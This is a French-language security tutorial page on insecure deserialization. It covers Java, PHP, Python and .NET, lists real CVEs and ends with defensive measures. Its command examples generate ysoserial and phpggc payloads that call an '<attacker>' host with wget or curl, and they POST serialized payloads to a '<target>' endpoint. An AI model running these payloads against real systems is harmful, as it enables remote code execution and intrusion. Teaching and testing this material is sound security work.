Attaques de désérialisation
Transformez des données innocentes en exécution de code à distance
Ce que vous allez découvrir
🎯 Pourquoi c'est important
Les vulnérabilités de désérialisation représentent certaines des failles de sécurité les plus dévastatrices dans les applications d'entreprise, fournissant souvent une exécution de code à distance immédiate avec une interaction utilisateur minimale. Ces vulnérabilités affectent pratiquement tous les langages de programmation et frameworks qui gèrent des données sérialisées.
🔍 Ce que vous allez apprendre
Vous maîtriserez l'approche systématique pour identifier et exploiter la désérialisation non sécurisée sur plusieurs plateformes incluant Java (ysoserial), PHP (phpggc), Python et .NET.
🚀 Votre première victoire
Dans les 25 prochaines minutes, vous exploiterez avec succès une vulnérabilité de désérialisation Java pour obtenir l'exécution de code à distance en utilisant ysoserial.
🔧 Essayez ceci maintenant
Comprenez pourquoi la sérialisation Java est reconnaissable et créez votre premier payload de détection
# Comprendre le nombre magique de sérialisation Java
echo -en '\xac\xed\x00\x05' | xxd
# Sortie : 00000000: aced 0005
# Télécharger ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Créer un payload de détection sûr
java -jar ysoserial-all.jar URLDNS "http://<attacker>/ping-test" > detection.ser
# Tester contre un endpoint
curl -X POST -H "Content-Type: application/x-java-serialized-object" \
--data-binary @detection.ser http://<target>/upload
Vous verrez : Comment les octets magiques aced0005 font accepter votre payload par les applications Java.
Compétences que vous maîtriserez
✅ Compréhension fondamentale
- Identification des formats de sérialisation
- Mécanismes d'injection d'objets
- Théorie des chaînes de gadgets
- Génération automatisée de payloads
🔍 Compétences expertes
- Utilisation avancée de ysoserial et phpggc
- Développement de chaînes de gadgets
- Techniques de contournement WAF
- Exploitation aveugle
Comprendre les vulnérabilités de désérialisation
Les attaques de désérialisation exploitent le processus de reconstruction d'objets pour exécuter du code malveillant
Les vulnérabilités de désérialisation se produisent lorsque les applications acceptent et traitent des objets sérialisés provenant de sources non fiables sans validation appropriée.
Comment la désérialisation crée des opportunités d'attaque
Le danger réside dans l'exécution automatique de code pendant la reconstruction des objets. Le modèle de vulnérabilité combine trois facteurs : données non fiables, méthodes non sécurisées, et classes exploitables dans l'environnement.
Vecteurs d'attaque courants
Données HTTP, cookies, sessions
Files de messages, cache, APIs
Téléchargement de fichiers
Risques par plateforme
Java: ObjectInputStream, RMI, JMS
PHP: unserialize(), sessions
Python: modules de sérialisation
.NET: BinaryFormatter
Outils et techniques
ysoserial : exploitation Java
ysoserial automatise la création de payloads Java malveillants. Dépôt GitHub
# Télécharger ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Lister les chaînes de gadgets
java -jar ysoserial-all.jar 2>&1 | grep "^ "
# CommonsCollections1
java -jar ysoserial-all.jar CommonsCollections1 'wget http://<attacker>/test'
# URLDNS pour détection
java -jar ysoserial-all.jar URLDNS "http://<attacker>/dns-test"
# Exploitation HTTP
curl -X POST -H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.ser http://<target>/deserialize
phpggc : injection PHP
phpggc exploite les méthodes magiques PHP. Dépôt GitHub
# Installer phpggc
git clone https://github.com/ambionics/phpggc.git
# Lister les gadgets
./phpggc -l
# Laravel/RCE1
./phpggc Laravel/RCE1 "whoami"
# Base64 pour HTTP
./phpggc Laravel/RCE1 "curl http://<attacker>/callback" -b
Exploitation Python
Les modules de sérialisation Python permettent l'exécution de code via la méthode __reduce__ lors de la désérialisation.
Points d'injection courants : sessions Flask, cache Django, APIs ML/data science.
Scénarios réels
JBoss (CVE-2015-7501)
Vulnérabilité critique dans JMXInvokerServlet. CVE-2015-7501
WebLogic (CVE-2015-4852)
Vulnérabilité dans le protocole T3. CVE-2015-4852
Apache Solr (CVE-2017-12629)
RCE via RunExecutableListener. CVE-2017-12629
Contre-mesures défensives
Défense principale
- Formats sûrs - JSON ou XML au lieu de sérialisation binaire
- DTOs - Objets de transfert simples
- APIs définies - Échange via APIs structurées
- Validation stricte - Schémas et listes blanches
Stratégies avancées
- Liste blanche de types
- Signatures cryptographiques
- Sandboxing
- Surveillance réseau
🎯 Vous maîtrisez l'exploitation de désérialisation !
Vous comprenez comment exploiter la désérialisation sur plusieurs plateformes pour obtenir une exécution de code à distance.
Prêt à diriger l'architecture de sécurité d'entreprise